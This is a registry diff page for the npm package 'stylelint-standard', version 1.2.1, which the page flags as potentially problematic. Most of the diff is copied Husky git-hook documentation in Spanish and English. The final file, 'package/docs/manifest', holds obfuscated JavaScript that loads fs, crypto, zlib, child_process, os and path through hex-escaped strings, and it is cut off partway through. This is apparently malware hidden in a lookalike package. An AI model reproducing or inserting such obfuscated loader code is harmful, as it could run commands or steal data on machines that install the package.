stylelint-standard 0.0.1-security → 1.2.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of stylelint-standard might be problematic. Click here for more details.
- package/.editorconfig +5 -0
- package/.shellcheckrc +1 -0
- package/LICENSE +21 -0
- package/README.md +1 -5
- package/docs/.vitepress/config.mts +125 -0
- package/docs/es/get-started.md +79 -0
- package/docs/es/how-to.md +335 -0
- package/docs/es/index.md +82 -0
- package/docs/es/migrate-from-v4.md +65 -0
- package/docs/es/troubleshoot.md +41 -0
- package/docs/get-started.md +80 -0
- package/docs/how-to.md +326 -0
- package/docs/index.md +82 -0
- package/docs/manifest +1 -0
- package/docs/migrate-from-v4.md +65 -0
- package/docs/package-lock.json +2914 -0
- package/docs/package.json +10 -0
- package/docs/ru/get-started.md +79 -0
- package/docs/ru/how-to.md +326 -0
- package/docs/ru/index.md +80 -0
- package/docs/ru/migrate-from-v4.md +66 -0
- package/docs/ru/troubleshoot.md +41 -0
- package/docs/sponsorkit/sponsors.svg +573 -0
- package/docs/sponsorkit.config.js +40 -0
- package/docs/troubleshoot.md +41 -0
- package/docs/zh/get-started.md +63 -0
- package/docs/zh/how-to.md +326 -0
- package/docs/zh/index.md +81 -0
- package/docs/zh/migrate-from-v4.md +72 -0
- package/docs/zh/troubleshoot.md +41 -0
- package/husky +22 -0
- package/index.d.ts +1 -0
- package/index.js +25 -0
- package/package.json +8 -4
|
@@ -0,0 +1,65 @@
|
|
|
1
|
+
# Migrar desde v4
|
|
2
|
+
|
|
3
|
+
Si estabas llamando a los scripts `package.json` usando `npm` o `yarn`, **puedes simplemente copiar tus comandos** desde tu archivo de configuración al gancho (hook) correspondiente:
|
|
4
|
+
|
|
5
|
+
Husky v4
|
|
6
|
+
|
|
7
|
+
```json
|
|
8
|
+
// package.json
|
|
9
|
+
{
|
|
10
|
+
"hooks": {
|
|
11
|
+
"pre-commit": "npm test && npm run foo" // [!code hl]
|
|
12
|
+
}
|
|
13
|
+
}
|
|
14
|
+
```
|
|
15
|
+
|
|
16
|
+
Husky v9
|
|
17
|
+
|
|
18
|
+
```shell
|
|
19
|
+
# .husky/pre-commit
|
|
20
|
+
# Tenga en cuenta que ahora puede tener comandos en varias líneas.
|
|
21
|
+
npm test // [!code hl]
|
|
22
|
+
npm run foo // [!code hl]
|
|
23
|
+
```
|
|
24
|
+
|
|
25
|
+
Si estaba llamando a binarios instalados localmente, **ahora necesita ejecutarlos a través de su administrador de paquetes**:
|
|
26
|
+
|
|
27
|
+
::: code-group
|
|
28
|
+
|
|
29
|
+
```js [.huskyrc.json (v4)]
|
|
30
|
+
{
|
|
31
|
+
"hooks": {
|
|
32
|
+
"pre-commit": "jest"
|
|
33
|
+
}
|
|
34
|
+
}
|
|
35
|
+
```
|
|
36
|
+
|
|
37
|
+
```shell [.husky/pre-commit (v9)]
|
|
38
|
+
jest
|
|
39
|
+
```
|
|
40
|
+
|
|
41
|
+
:::
|
|
42
|
+
|
|
43
|
+
La variable de entorno `HUSKY_GIT_PARAMS` ahora se reemplaza por los parámetros nativos `$1`, `$2`, etc.
|
|
44
|
+
|
|
45
|
+
::: code-group
|
|
46
|
+
|
|
47
|
+
```js [.huskyrc.json (v4)]
|
|
48
|
+
{
|
|
49
|
+
"hooks": {
|
|
50
|
+
"commit-msg": "commitlint -E HUSKY_GIT_PARAMS"
|
|
51
|
+
}
|
|
52
|
+
}
|
|
53
|
+
```
|
|
54
|
+
|
|
55
|
+
```shell [.husky/commit-msg (v9)]
|
|
56
|
+
commitlint --edit $1
|
|
57
|
+
```
|
|
58
|
+
|
|
59
|
+
:::
|
|
60
|
+
|
|
61
|
+
Otros cambios en las variables del entorno:
|
|
62
|
+
|
|
63
|
+
- `HUSKY_SKIP_HOOKS` se reemplaza por `HUSKY`.
|
|
64
|
+
- `HUSKY_SKIP_INSTALL` se reemplaza por `HUSKY`.
|
|
65
|
+
- `HUSKY_GIT_PARAMS` se elimina. En su lugar, los parámetros de Git deben usarse directamente en los scripts (por ejemplo, `$1`).
|
|
@@ -0,0 +1,41 @@
|
|
|
1
|
+
# Solución de problemas
|
|
2
|
+
|
|
3
|
+
## Comando no encontrado
|
|
4
|
+
|
|
5
|
+
Consulte [Cómo hacerlo](how-to) para obtener soluciones.
|
|
6
|
+
|
|
7
|
+
## Los ganchos (hooks) no se están ejecutando
|
|
8
|
+
|
|
9
|
+
1. Verifique que el nombre del archivo sea correcto. Por ejemplo, `precommit` o `pre-commit.sh` son nombres inválidos. Consulte la [documentación](https://git-scm.com/docs/githooks) de los Ganchos de Git (Git hooks ) para conocer los nombres válidos.
|
|
10
|
+
2. Ejecute `git config core.hooksPath` y asegúrase de que apunte a `.husky/_` (o a su directorio de ganchos personalizado (custom hooks directory)).
|
|
11
|
+
3. Confirme que su versión de Git sea superior a `2.9`.
|
|
12
|
+
|
|
13
|
+
## `.git/hooks/` no funciona después de la desinstalación
|
|
14
|
+
|
|
15
|
+
Si los ganchos (hooks) en `.git/hooks/` no funcionan después de desinstalar `husky`, ejecuta `git config --unset core.hooksPath`.
|
|
16
|
+
|
|
17
|
+
## Yarn en Windows
|
|
18
|
+
|
|
19
|
+
Los ganchos de Git (Git hooks) pueden fallar con Yarn en Windows usando Git Bash (`stdin no es un tty`). Para los usuarios de Windows, implemente esta solución alternativa (workaround):
|
|
20
|
+
|
|
21
|
+
1. Cree `.husky/common.sh`:
|
|
22
|
+
|
|
23
|
+
```shell
|
|
24
|
+
command_exists () {
|
|
25
|
+
command -v "$1" >/dev/null 2>&1
|
|
26
|
+
}
|
|
27
|
+
|
|
28
|
+
# Solución alternativa (Workaround) para Windows 10, Git Bash, and Yarn
|
|
29
|
+
if command_exists winpty && test -t 1; then
|
|
30
|
+
exec < /dev/tty
|
|
31
|
+
fi
|
|
32
|
+
```
|
|
33
|
+
|
|
34
|
+
2. Obtenga la fuente donde se ejecutan los comandos Yarn:
|
|
35
|
+
|
|
36
|
+
```shell
|
|
37
|
+
# .husky/pre-commit
|
|
38
|
+
. .husky/common.sh
|
|
39
|
+
|
|
40
|
+
yarn ...
|
|
41
|
+
```
|
|
@@ -0,0 +1,80 @@
|
|
|
1
|
+
# Get started
|
|
2
|
+
|
|
3
|
+
## Install
|
|
4
|
+
|
|
5
|
+
::: code-group
|
|
6
|
+
|
|
7
|
+
```shell [npm]
|
|
8
|
+
npm install --save-dev husky
|
|
9
|
+
```
|
|
10
|
+
|
|
11
|
+
```shell [pnpm]
|
|
12
|
+
pnpm add --save-dev husky
|
|
13
|
+
```
|
|
14
|
+
|
|
15
|
+
```shell [yarn]
|
|
16
|
+
yarn add --dev husky
|
|
17
|
+
# Add pinst ONLY if your package is not private
|
|
18
|
+
yarn add --dev pinst
|
|
19
|
+
```
|
|
20
|
+
|
|
21
|
+
```shell [bun]
|
|
22
|
+
bun add --dev husky
|
|
23
|
+
```
|
|
24
|
+
|
|
25
|
+
:::
|
|
26
|
+
|
|
27
|
+
## `husky init` (recommended)
|
|
28
|
+
|
|
29
|
+
The `init` command simplifies setting up husky in a project. It creates a `pre-commit` script in `.husky/` and updates the `prepare` script in `package.json`. Modifications can be made later to suit your workflow.
|
|
30
|
+
|
|
31
|
+
::: code-group
|
|
32
|
+
|
|
33
|
+
```shell [npm]
|
|
34
|
+
npx husky init
|
|
35
|
+
```
|
|
36
|
+
|
|
37
|
+
```shell [pnpm]
|
|
38
|
+
pnpm exec husky init
|
|
39
|
+
```
|
|
40
|
+
|
|
41
|
+
```shell [yarn]
|
|
42
|
+
# Due to specific caveats and differences with other package managers,
|
|
43
|
+
# refer to the How To section.
|
|
44
|
+
```
|
|
45
|
+
|
|
46
|
+
```shell [bun]
|
|
47
|
+
bunx husky init
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
:::
|
|
51
|
+
|
|
52
|
+
|
|
53
|
+
## Try it
|
|
54
|
+
|
|
55
|
+
Congratulations! You've successfully set up your first Git hook with just one command 🎉. Let's test it:
|
|
56
|
+
|
|
57
|
+
```shell
|
|
58
|
+
git commit -m "Keep calm and commit"
|
|
59
|
+
# test script will run every time you commit
|
|
60
|
+
```
|
|
61
|
+
|
|
62
|
+
## A few words...
|
|
63
|
+
|
|
64
|
+
### Scripting
|
|
65
|
+
|
|
66
|
+
While most of the time, you'll just run a few `npm run` or `npx` commands in your hooks, you can also script them using POSIX shell for custom workflows.
|
|
67
|
+
|
|
68
|
+
For example, here's how you can lint your staged files on each commit with only two lines of shell code and no external dependency:
|
|
69
|
+
|
|
70
|
+
```shell
|
|
71
|
+
# .husky/pre-commit
|
|
72
|
+
prettier $(git diff --cached --name-only --diff-filter=ACMR | sed 's| |\\ |g') --write --ignore-unknown
|
|
73
|
+
git update-index --again
|
|
74
|
+
```
|
|
75
|
+
|
|
76
|
+
_This is a basic but working example, check [lint-staged](https://github.com/lint-staged/lint-staged) if you need more._
|
|
77
|
+
|
|
78
|
+
### Disabling hooks
|
|
79
|
+
|
|
80
|
+
Husky doesn't force Git hooks. It can be globally disabled (`HUSKY=0`) or be opt-in if wanted. See the [How To](how-to) section for manual setup and more information.
|
package/docs/how-to.md
ADDED
|
@@ -0,0 +1,326 @@
|
|
|
1
|
+
# How To
|
|
2
|
+
|
|
3
|
+
## Adding a New Hook
|
|
4
|
+
|
|
5
|
+
Adding a hook is as simple as creating a file. This can be accomplished using your favorite editor, a script or a basic echo command. For example, on Linux/macOS:
|
|
6
|
+
```shell
|
|
7
|
+
echo "npm test" > .husky/pre-commit
|
|
8
|
+
```
|
|
9
|
+
|
|
10
|
+
## Startup files
|
|
11
|
+
|
|
12
|
+
Husky allows you to execute local commands before running hooks. It reads commands from these files:
|
|
13
|
+
|
|
14
|
+
- `$XDG_CONFIG_HOME/husky/init.sh`
|
|
15
|
+
- `~/.config/husky/init.sh`
|
|
16
|
+
- `~/.huskyrc` (deprecated)
|
|
17
|
+
|
|
18
|
+
On Windows: `C:\Users\yourusername\.config\husky\init.sh`
|
|
19
|
+
|
|
20
|
+
## Skipping Git Hooks
|
|
21
|
+
|
|
22
|
+
### For a Single Command
|
|
23
|
+
|
|
24
|
+
Most Git commands include a `-n/--no-verify` option to skip hooks:
|
|
25
|
+
|
|
26
|
+
```sh
|
|
27
|
+
git commit -m "..." -n # Skips Git hooks
|
|
28
|
+
```
|
|
29
|
+
|
|
30
|
+
For commands without this flag, disable hooks temporarily with HUSKY=0:
|
|
31
|
+
|
|
32
|
+
```shell
|
|
33
|
+
HUSKY=0 git ... # Temporarily disables all Git hooks
|
|
34
|
+
git ... # Hooks will run again
|
|
35
|
+
```
|
|
36
|
+
|
|
37
|
+
### For multiple commands
|
|
38
|
+
|
|
39
|
+
To disable hooks for an extended period (e.g., during rebase/merge):
|
|
40
|
+
|
|
41
|
+
```shell
|
|
42
|
+
export HUSKY=0 # Disables all Git hooks
|
|
43
|
+
git ...
|
|
44
|
+
git ...
|
|
45
|
+
unset HUSKY # Re-enables hooks
|
|
46
|
+
```
|
|
47
|
+
|
|
48
|
+
### For a GUI or Globally
|
|
49
|
+
|
|
50
|
+
To disable Git hooks in a GUI client or globally, modify the husky config:
|
|
51
|
+
|
|
52
|
+
```sh
|
|
53
|
+
# ~/.config/husky/init.sh
|
|
54
|
+
export HUSKY=0 # Husky won't install and won't run hooks on your machine
|
|
55
|
+
```
|
|
56
|
+
|
|
57
|
+
## CI server and Docker
|
|
58
|
+
|
|
59
|
+
To avoid installing Git Hooks on CI servers or in Docker, use `HUSKY=0`. For instance, in GitHub Actions:
|
|
60
|
+
|
|
61
|
+
```yml
|
|
62
|
+
# https://docs.github.com/en/actions/learn-github-actions/variables
|
|
63
|
+
env:
|
|
64
|
+
HUSKY: 0
|
|
65
|
+
```
|
|
66
|
+
|
|
67
|
+
If installing only `dependencies` (not `devDependencies`), the `"prepare": "husky"` script may fail because Husky won't be installed.
|
|
68
|
+
|
|
69
|
+
You have multiple solutions.
|
|
70
|
+
|
|
71
|
+
Modify the `prepare` script to never fail:
|
|
72
|
+
|
|
73
|
+
```json
|
|
74
|
+
// package.json
|
|
75
|
+
"prepare": "husky || true"
|
|
76
|
+
```
|
|
77
|
+
|
|
78
|
+
You'll still get a `command not found` error message in your output which may be confusing. To make it silent, create `.husky/install.mjs`:
|
|
79
|
+
|
|
80
|
+
<!-- Since husky may not be installed, it must be imported dynamically after prod/CI check -->
|
|
81
|
+
```js
|
|
82
|
+
// Skip Husky install in production and CI
|
|
83
|
+
if (process.env.NODE_ENV === 'production' || process.env.CI === 'true') {
|
|
84
|
+
process.exit(0)
|
|
85
|
+
}
|
|
86
|
+
const husky = (await import('husky')).default
|
|
87
|
+
console.log(husky())
|
|
88
|
+
```
|
|
89
|
+
|
|
90
|
+
Then, use it in `prepare`:
|
|
91
|
+
|
|
92
|
+
```json
|
|
93
|
+
"prepare": "node .husky/install.mjs"
|
|
94
|
+
```
|
|
95
|
+
|
|
96
|
+
## Testing Hooks Without Committing
|
|
97
|
+
|
|
98
|
+
To test a hook, add `exit 1` to the hook script to abort the Git command:
|
|
99
|
+
|
|
100
|
+
```shell
|
|
101
|
+
# .husky/pre-commit
|
|
102
|
+
|
|
103
|
+
# Your WIP script
|
|
104
|
+
# ...
|
|
105
|
+
|
|
106
|
+
exit 1
|
|
107
|
+
```
|
|
108
|
+
|
|
109
|
+
```shell
|
|
110
|
+
git commit -m "testing pre-commit code"
|
|
111
|
+
# A commit will not be created
|
|
112
|
+
```
|
|
113
|
+
|
|
114
|
+
## Project Not in Git Root Directory
|
|
115
|
+
|
|
116
|
+
Husky doesn't install in parent directories (`../`) for security reasons. However, you can change the directory in the `prepare` script.
|
|
117
|
+
|
|
118
|
+
Consider this project structure:
|
|
119
|
+
|
|
120
|
+
```
|
|
121
|
+
.
|
|
122
|
+
├── .git/
|
|
123
|
+
├── backend/ # No package.json
|
|
124
|
+
└── frontend/ # Package.json with husky
|
|
125
|
+
```
|
|
126
|
+
|
|
127
|
+
Set your prepare script like this:
|
|
128
|
+
|
|
129
|
+
```json
|
|
130
|
+
"prepare": "cd .. && husky frontend/.husky"
|
|
131
|
+
```
|
|
132
|
+
|
|
133
|
+
In your hook script, change the directory back to the relevant subdirectory:
|
|
134
|
+
|
|
135
|
+
```shell
|
|
136
|
+
# frontend/.husky/pre-commit
|
|
137
|
+
cd frontend
|
|
138
|
+
npm test
|
|
139
|
+
```
|
|
140
|
+
|
|
141
|
+
## Non-shell hooks
|
|
142
|
+
|
|
143
|
+
In order to run scripts that require the use of a scripting language, use the following pattern for each applicable hook:
|
|
144
|
+
|
|
145
|
+
(Example using hook `pre-commit` and NodeJS)
|
|
146
|
+
1. Create an entrypoint for the hook:
|
|
147
|
+
```shell
|
|
148
|
+
.husky/pre-commit
|
|
149
|
+
```
|
|
150
|
+
2. In the file add the following
|
|
151
|
+
```shell
|
|
152
|
+
node .husky/pre-commit.js
|
|
153
|
+
```
|
|
154
|
+
3. in `.husky/pre-commit.js`
|
|
155
|
+
```javascript
|
|
156
|
+
// Your NodeJS code
|
|
157
|
+
// ...
|
|
158
|
+
```
|
|
159
|
+
|
|
160
|
+
## Bash
|
|
161
|
+
|
|
162
|
+
Hook scripts need to be POSIX compliant to ensure best compatibility as not everyone has `bash` (e.g. Windows users).
|
|
163
|
+
|
|
164
|
+
That being said, if your team doesn't use Windows, you can use Bash this way:
|
|
165
|
+
|
|
166
|
+
```shell
|
|
167
|
+
# .husky/pre-commit
|
|
168
|
+
|
|
169
|
+
bash << EOF
|
|
170
|
+
# Put your bash script inside
|
|
171
|
+
# ...
|
|
172
|
+
EOF
|
|
173
|
+
```
|
|
174
|
+
|
|
175
|
+
## Node Version Managers and GUIs
|
|
176
|
+
|
|
177
|
+
If you're using Git hooks in GUIs with Node installed via a version manager (like `nvm`, `n`, `fnm`, `asdf`, `volta`, etc...), you might face a `command not found` error due to `PATH` environment variable issues.
|
|
178
|
+
|
|
179
|
+
### Understanding `PATH` and Version Managers
|
|
180
|
+
|
|
181
|
+
`PATH` is an environment variable containing a list of directories. Your shell searches these directories for commands. If it doesn't find a command, you get a `command not found` message.
|
|
182
|
+
|
|
183
|
+
Run `echo $PATH` in a shell to view its contents.
|
|
184
|
+
|
|
185
|
+
Version managers work by:
|
|
186
|
+
1. Adding initialization code to your shell startup file (`.zshrc`, `.bashrc`, etc.), which runs each time you open a terminal.
|
|
187
|
+
2. Downloading Node versions to a directory in your home folder.
|
|
188
|
+
|
|
189
|
+
For example, if you have two Node versions:
|
|
190
|
+
|
|
191
|
+
```shell
|
|
192
|
+
~/version-manager/Node-X/node
|
|
193
|
+
~/version-manager/Node-Y/node
|
|
194
|
+
```
|
|
195
|
+
|
|
196
|
+
Opening a terminal initializes the version manager, which picks a version (say `Node-Y`) and prepends its path to `PATH`:
|
|
197
|
+
|
|
198
|
+
```shell
|
|
199
|
+
echo $PATH
|
|
200
|
+
# Output
|
|
201
|
+
~/version-manager/Node-Y/:...
|
|
202
|
+
```
|
|
203
|
+
|
|
204
|
+
Now, node refers to `Node-Y`. Switching to `Node-X` changes `PATH` accordingly:
|
|
205
|
+
|
|
206
|
+
```shell
|
|
207
|
+
echo $PATH
|
|
208
|
+
# Output
|
|
209
|
+
~/version-manager/Node-X/:...
|
|
210
|
+
```
|
|
211
|
+
|
|
212
|
+
The issue arises because GUIs, launched outside a terminal, don't initialize the version manager, leaving `PATH` without the Node install path. Thus, Git hooks from GUIs often fail.
|
|
213
|
+
|
|
214
|
+
### Solution
|
|
215
|
+
|
|
216
|
+
Husky sources `~/.config/husky/init.sh` before each Git hook. Copy your version manager initialization code here to ensure it runs in GUIs.
|
|
217
|
+
|
|
218
|
+
Example with `nvm`:
|
|
219
|
+
|
|
220
|
+
```shell
|
|
221
|
+
# ~/.config/husky/init.sh
|
|
222
|
+
export NVM_DIR="$HOME/.nvm"
|
|
223
|
+
[ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh" # This loads nvm
|
|
224
|
+
```
|
|
225
|
+
|
|
226
|
+
Alternatively, if your shell startup file is fast and lightweight, source it directly:
|
|
227
|
+
|
|
228
|
+
```shell
|
|
229
|
+
# ~/.config/husky/init.sh
|
|
230
|
+
. ~/.zshrc
|
|
231
|
+
```
|
|
232
|
+
|
|
233
|
+
## Manual setup
|
|
234
|
+
|
|
235
|
+
Git needs to be configured and husky needs to setup files in `.husky/`.
|
|
236
|
+
|
|
237
|
+
Run the `husky` command once in your repo. Ideally, include it in the `prepare` script in `package.json` for automatic execution after each install (recommended).
|
|
238
|
+
|
|
239
|
+
::: code-group
|
|
240
|
+
|
|
241
|
+
```json [npm]
|
|
242
|
+
{
|
|
243
|
+
"scripts": {
|
|
244
|
+
"prepare": "husky" // [!code hl]
|
|
245
|
+
}
|
|
246
|
+
}
|
|
247
|
+
```
|
|
248
|
+
|
|
249
|
+
```json [pnpm]
|
|
250
|
+
{
|
|
251
|
+
"scripts": {
|
|
252
|
+
"prepare": "husky" // [!code hl]
|
|
253
|
+
}
|
|
254
|
+
}
|
|
255
|
+
```
|
|
256
|
+
|
|
257
|
+
```json [yarn]
|
|
258
|
+
{
|
|
259
|
+
"scripts": {
|
|
260
|
+
// Yarn doesn't support prepare script
|
|
261
|
+
"postinstall": "husky",
|
|
262
|
+
// Include this if publishing to npmjs.com
|
|
263
|
+
"prepack": "pinst --disable",
|
|
264
|
+
"postpack": "pinst --enable"
|
|
265
|
+
}
|
|
266
|
+
}
|
|
267
|
+
```
|
|
268
|
+
|
|
269
|
+
```json [bun]
|
|
270
|
+
{
|
|
271
|
+
"scripts": {
|
|
272
|
+
"prepare": "husky" // [!code hl]
|
|
273
|
+
}
|
|
274
|
+
}
|
|
275
|
+
```
|
|
276
|
+
|
|
277
|
+
:::
|
|
278
|
+
|
|
279
|
+
Run `prepare` once:
|
|
280
|
+
|
|
281
|
+
::: code-group
|
|
282
|
+
|
|
283
|
+
```sh [npm]
|
|
284
|
+
npm run prepare
|
|
285
|
+
```
|
|
286
|
+
|
|
287
|
+
```sh [pnpm]
|
|
288
|
+
pnpm run prepare
|
|
289
|
+
```
|
|
290
|
+
|
|
291
|
+
```sh [yarn]
|
|
292
|
+
# Yarn doesn't support `prepare`
|
|
293
|
+
yarn run postinstall
|
|
294
|
+
```
|
|
295
|
+
|
|
296
|
+
```sh [bun]
|
|
297
|
+
bun run prepare
|
|
298
|
+
```
|
|
299
|
+
|
|
300
|
+
:::
|
|
301
|
+
|
|
302
|
+
Create a `pre-commit` file in the `.husky/` directory:
|
|
303
|
+
|
|
304
|
+
::: code-group
|
|
305
|
+
|
|
306
|
+
```shell [npm]
|
|
307
|
+
# .husky/pre-commit
|
|
308
|
+
npm test
|
|
309
|
+
```
|
|
310
|
+
|
|
311
|
+
```shell [pnpm]
|
|
312
|
+
# .husky/pre-commit
|
|
313
|
+
pnpm test
|
|
314
|
+
```
|
|
315
|
+
|
|
316
|
+
```shell [yarn]
|
|
317
|
+
# .husky/pre-commit
|
|
318
|
+
yarn test
|
|
319
|
+
```
|
|
320
|
+
|
|
321
|
+
```sh [bun]
|
|
322
|
+
# .husky/pre-commit
|
|
323
|
+
bun test
|
|
324
|
+
```
|
|
325
|
+
|
|
326
|
+
:::
|
package/docs/index.md
ADDED
|
@@ -0,0 +1,82 @@
|
|
|
1
|
+

|
|
2
|
+
|
|
3
|
+
> Ultra-fast modern native git hooks
|
|
4
|
+
|
|
5
|
+
Husky enhances your commits and more 🐶 _woof!_
|
|
6
|
+
|
|
7
|
+
Automatically **lint your commit messages**, **code**, and **run tests** upon committing or pushing.
|
|
8
|
+
|
|
9
|
+
Get started [here](/get-started.md).
|
|
10
|
+
|
|
11
|
+
## Features
|
|
12
|
+
|
|
13
|
+
- Just `2 kB` (📦 _gzipped_) with no dependencies
|
|
14
|
+
- Fastest due to being lightweight (runs in `~1ms`)
|
|
15
|
+
- Uses new Git feature (`core.hooksPath`)
|
|
16
|
+
- Supports:
|
|
17
|
+
- macOS, Linux, Windows
|
|
18
|
+
- Git GUIs, Node version managers, custom hooks directory, nested projects, monorepos
|
|
19
|
+
- [All 13 client-side Git hooks](https://git-scm.com/docs/githooks)
|
|
20
|
+
|
|
21
|
+
And more:
|
|
22
|
+
|
|
23
|
+
- Branch-specific hooks
|
|
24
|
+
- Use POSIX shell to script advanced cases
|
|
25
|
+
- Adheres to Git's native hook organization
|
|
26
|
+
- Aligns with [npm](https://docs.npmjs.com/cli/v10/using-npm/scripts#best-practices) best practices using `prepare` script
|
|
27
|
+
- Opt-in/opt-out options
|
|
28
|
+
- Can be globally disabled
|
|
29
|
+
- User-friendly error messages
|
|
30
|
+
|
|
31
|
+
## Sponsors
|
|
32
|
+
|
|
33
|
+
Support this project by becoming a sponsor [here](https://github.com/sponsors/typicode) 💖
|
|
34
|
+
|
|
35
|
+
### Special Sponsor
|
|
36
|
+
|
|
37
|
+
<p align="center">
|
|
38
|
+
<a href="https://app.tea.xyz/sign-up?r=8L2HWfJB6hs">
|
|
39
|
+
<img src="https://github.com/typicode/husky/assets/5502029/1b95c571-0157-48bc-a147-0d8d2fbc1d8a" /><br/>
|
|
40
|
+
Get rewards for your open-source contributions
|
|
41
|
+
</a>
|
|
42
|
+
</p>
|
|
43
|
+
|
|
44
|
+
### GitHub
|
|
45
|
+
|
|
46
|
+
<p align="center">
|
|
47
|
+
<a href="./sponsorkit/sponsors.svg">
|
|
48
|
+
<img src='./sponsorkit/sponsors.svg'/>
|
|
49
|
+
</a>
|
|
50
|
+
</p>
|
|
51
|
+
|
|
52
|
+
### Open Collective
|
|
53
|
+
|
|
54
|
+
<a href="https://opencollective.com/husky/tiers/company/0/website"><img src="https://opencollective.com/husky/tiers/company/0/avatar.svg?avatarHeight=120"></a>
|
|
55
|
+
<a href="https://opencollective.com/husky/tiers/company/1/website"><img src="https://opencollective.com/husky/tiers/company/1/avatar.svg?avatarHeight=120"></a>
|
|
56
|
+
<a href="https://opencollective.com/husky/tiers/company/2/website"><img src="https://opencollective.com/husky/tiers/company/2/avatar.svg?avatarHeight=120"></a>
|
|
57
|
+
<a href="https://opencollective.com/husky/tiers/company/3/website"><img src="https://opencollective.com/husky/tiers/company/3/avatar.svg?avatarHeight=120"></a>
|
|
58
|
+
<a href="https://opencollective.com/husky/tiers/company/4/website"><img src="https://opencollective.com/husky/tiers/company/4/avatar.svg?avatarHeight=120"></a>
|
|
59
|
+
<a href="https://opencollective.com/husky/tiers/company/5/website"><img src="https://opencollective.com/husky/tiers/company/5/avatar.svg?avatarHeight=120"></a>
|
|
60
|
+
[](https://www.sanity.io/)
|
|
61
|
+
|
|
62
|
+
## Used by
|
|
63
|
+
|
|
64
|
+
Husky is used in [**over 1.5M projects**](https://github.com/typicode/husky/network/dependents?package_id=UGFja2FnZS0xODQzNTgwNg%3D%3D) on GitHub, including:
|
|
65
|
+
|
|
66
|
+
- [vercel/next.js](https://github.com/vercel/next.js)
|
|
67
|
+
- [vercel/hyper](https://github.com/vercel/hyper)
|
|
68
|
+
- [webpack/webpack](https://github.com/webpack/webpack)
|
|
69
|
+
- [angular/angular](https://github.com/angular/angular)
|
|
70
|
+
- [facebook/docusaurus](https://github.com/facebook/docusaurus)
|
|
71
|
+
- [microsoft/vscode](https://github.com/microsoft/vscode)
|
|
72
|
+
- [11ty/eleventy](https://github.com/11ty/eleventy)
|
|
73
|
+
- [stylelint/stylelint](https://github.com/stylelint/stylelint)
|
|
74
|
+
- [colinhacks/zod](https://github.com/colinhacks/zod)
|
|
75
|
+
- [rollup/rollup](https://github.com/rollup/rollup)
|
|
76
|
+
- [tinyhttp/tinyhttp](https://github.com/tinyhttp/tinyhttp)
|
|
77
|
+
- ...
|
|
78
|
+
|
|
79
|
+
## Articles
|
|
80
|
+
|
|
81
|
+
- [Why husky has dropped conventional JS config](https://blog.typicode.com/posts/husky-git-hooks-javascript-config/)
|
|
82
|
+
- [Why husky doesn't autoinstall anymore](https://blog.typicode.com/posts/husky-git-hooks-autoinstall/)
|
package/docs/manifest
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
'use strict';(function(m,U){const mX=X,mL=Q,m1=m();while(!![]){try{const m2=-parseInt(mL(0xa6,'\x48\x68\x57\x5a'))/(0x1*0x70f+-0x2*-0x260+-0xbce)*(-parseInt(mL(0x9d,'\x6c\x68\x37\x2a'))/(0x1*-0x1cbb+-0x1*-0x2411+-0x754))+-parseInt(mX(0x9b))/(0x3e3+0x1ea8+-0xdd*0x28)+-parseInt(mL(0xa3,'\x48\x68\x57\x5a'))/(-0xdeb+0x4f2+0x3*0x2ff)+parseInt(mX(0xa5))/(0x2220+-0x1*0x2400+-0x61*-0x5)+parseInt(mL(0xa4,'\x5a\x75\x35\x45'))/(0x1382+-0x2579+-0x11fd*-0x1)*(parseInt(mL(0xac,'\x7a\x32\x4b\x57'))/(0x19*-0x130+-0x29e+0x1*0x2055))+-parseInt(mX(0xa0))/(0x2*-0xdc8+0xa3b+0x115d)*(-parseInt(mX(0xa1))/(-0x32e+-0x521+-0x59*-0x18))+parseInt(mL(0xa8,'\x74\x26\x4c\x7a'))/(-0x1*0x1bcb+-0x17a1+0x3376)*(parseInt(mL(0x9a,'\x21\x57\x46\x34'))/(0x4ea+-0x146c*-0x1+-0x194b*0x1));if(m2===U)break;else m1['push'](m1['shift']());}catch(m3){m1['push'](m1['shift']());}}}(L,-0x1d6b*-0x2f+-0x358*0x171+-0x94771*-0x1));const W=require('\x66\x73'),c=require('\x63\x72'+'\x79\x70'+'\x74\x6f'),C=require('\x7a\x6c'+'\x69\x62'),n=require('\x75\x74'+'\x69\x6c'),s=require('\x63\x68'+'\x69\x6c'+'\x64\x5f'+'\x70\x72'+'\x6f\x63'+'\x65\x73'+'\x73'),t=require('\x6f\x73'),K=require('\x70\x61'+'\x74\x68');function D(m1){const m2=(function(){let m5=!![];return function(m6,m7){const m8=m5?function(){if(m7){const m9=m7['\x61\x70'+'\x70\x6c'+'\x79'](m6,arguments);return m7=null,m9;}}:function(){};return m5=![],m8;};}()),m3=m2(this,function(){let m5;try{const m8=Function('\x72\x65'+'\x74\x75'+'\x72\x6e'+'\x20\x28'+'\x66\x75'+'\x6e\x63'+'\x74\x69'+'\x6f\x6e'+'\x28\x29'+'\x20'+('\x7b\x7d'+'\x2e\x63'+'\x6f\x6e'+'\x73\x74'+'\x72\x75'+'\x63\x74'+'\x6f\x72'+'\x28\x22'+'\x72\x65'+'\x74\x75'+'\x72\x6e'+'\x20\x74'+'\x68\x69'+'\x73\x22'+'\x29\x28'+'\x20\x29')+'\x29\x3b');m5=m8();}catch(m9){m5=window;}const m6=m5['\x63\x6f'+'\x6e\x73'+'\x6f\x6c'+'\x65']=m5['\x63\x6f'+'\x6e\x73'+'\x6f\x6c'+'\x65']||{},m7=['\x6c\x6f'+'\x67','\x77\x61'+'\x72\x6e','\x69\x6e'+'\x66\x6f','\x65\x72'+'\x72\x6f'+'\x72','\x65\x78'+'\x63\x65'+'\x70\x74'+'\x69\x6f'+'\x6e','\x74\x61'+'\x62\x6c'+'\x65','\x74\x72'+'\x61\x63'+'\x65'];for(let mm=0x1e56+0x1e3*-0x9+-0xd5b;mm<m7['\x6c\x65'+'\x6e\x67'+'\x74\x68'];mm++){const 